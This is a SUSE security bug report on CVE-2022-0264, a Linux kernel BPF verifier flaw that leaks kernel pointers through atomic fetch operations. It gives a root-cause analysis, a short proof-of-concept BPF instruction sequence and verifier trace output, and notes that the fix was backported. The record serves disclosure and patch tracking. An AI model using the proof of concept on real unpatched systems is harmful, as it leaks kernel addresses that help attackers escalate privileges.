Bug 1194226

Summary: VUL-0: CVE-2022-0264: kernel-source: kernel ptr leak via BPF
Product: [Novell Products] SUSE Security Incidents Reporter: Carlos López <carlos.lopez>
Component: IncidentsAssignee: Security Team bot <security-team>
Status: RESOLVED DUPLICATE QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium CC: bpetkov, security-team, shung-hsi.yu, tiwai, tonyj
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
URL: https://smash.suse.de/issue/319409/
Whiteboard:
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Description Carlos López 2022-01-03 10:54:04 UTC
**Root Cause Analysis**:

The pointer can be converted into a constant by the following instructions on the pointer operation, thereby leaking the pointer:

```
BPF_ADD | BPF_FETCH
BPF_AND | BPF_FETCH
BPF_OR | BPF_FETCH
BPF_XOR | BPF_FETCH
BPF_CMPXCHG
```

```c
static int check_atomic(struct bpf_verifier_env *env, int insn_idx, struct bpf_insn *insn)
{
        int load_reg;
        int err;

  ……

        if (insn->imm & BPF_FETCH) {            // 【1】
                if (insn->imm == BPF_CMPXCHG)
                        load_reg = BPF_REG_0;   // 【2】
                else
                        load_reg = insn->src_reg;

                /* check and record load of old value */
                err = check_reg_arg(env, load_reg, DST_OP);
                if (err)
                        return err;
        } else {
                /* This instruction accesses a memory location but doesn't
                 * actually load it into a register.
                 */
                load_reg = -1;              
        }

        /* check whether we can read the memory */
        err = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,
                               BPF_SIZE(insn->code), BPF_READ, load_reg, true); // 【3】
        if (err)
                return err;

        /* check whether we can write into the same memory */
        err = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,
                               BPF_SIZE(insn->code), BPF_WRITE, -1, true);
        if (err)
                return err;

        return 0;
}
```

The key point is in【1】and 【2】. By assigning a value to load_reg, the subsequent load_regno【3】 => dst_regno >= 0 (【4】) can bypass the previous patch check【5】.

kernel/bpf/verifier.c: check_stack_read_fixed_off

```
if (dst_regno >= 0) {                                      // <----------【4】
        /* restore register state from stack */
        state->regs[dst_regno] = *reg;
        /* mark reg as written since spilled pointer state likely
         * has its liveness marks cleared by is_state_visited()
         * which resets stack/reg liveness for state transitions
         */
        state->regs[dst_regno].live |= REG_LIVE_WRITTEN;
} else if (__is_pointer_value(env->allow_ptr_leaks, reg)) { // <---------【5】
        /* If dst_regno==-1, the caller is asking us whether
         * it is acceptable to use this value as a SCALAR_VALUE
         * (e.g. for XADD).
         * We must not allow unprivileged callers to do that
         * with spilled pointers.
         */
        verbose(env, "leaking pointer from stack off %d\n",
                off);
        return -EACCES;
}
```

Poc Code:

```c
    BPF_LD_IMM64(BPF_REG_1, -1),

    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, -8),
    BPF_ATOMIC_DW(BPF_AND | BPF_FETCH, BPF_REG_2, BPF_REG_1, -8),

    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, -8),
    BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_1, 0x18),
    BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0, 0x10),
```

The results of the operation are as follows:

```
14: (18) r1 = 0xffffffffffffffff
16: R0_w=inv0 R1_w=inv-1 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
16: (bf) r2 = r10
17: R0_w=inv0 R1_w=inv-1 R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
17: (7b) *(u64 *)(r2 -8) = r9
18: R0_w=inv0 R1_w=inv-1 R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=map_ptr
18: (db) r1 = atomic64_fetch_and((u64 *)(r2 -8), r1)
19: R0_w=inv0 R1_w=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm
19: (79) r1 = *(u64 *)(r2 -8)
20: R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm
20: (7b) *(u64 *)(r8 +24) = r1
 R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm
21: R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm
```

It can be seen that the r1 register in the 19th instruction reads the value of map_ptr, but it is a constant, thus leaking the map_ptr pointer.

Since Ubuntu 21.10 turns off bpf by default, you need to set permissions to trigger the vulnerability.
Comment 6 Shung-Hsi Yu 2022-01-12 07:48:01 UTC
Actually the fix 37086bfdc737 ("bpf: Fix kernel address leakage in atomic fetch") is already backported to SLE15-SP4 for bug 1193883, kudos to  Oliver Neukum for bring up the issue.

The other commit 180486b430f4 ("bpf, selftests: Add test case for atomic fetch on spilled pointer") is purely for development/testing purpose, and does not affect the kernel at run-time.

Re-assigning back to security team.
Comment 7 Shung-Hsi Yu 2022-01-12 07:54:49 UTC
Updated reference for patches.suse/bpf-Fix-kernel-address-leakage-in-atomic-fetch.patch and pushed to users/syu/SLE15-SP4/bsc1194226_EMBARGO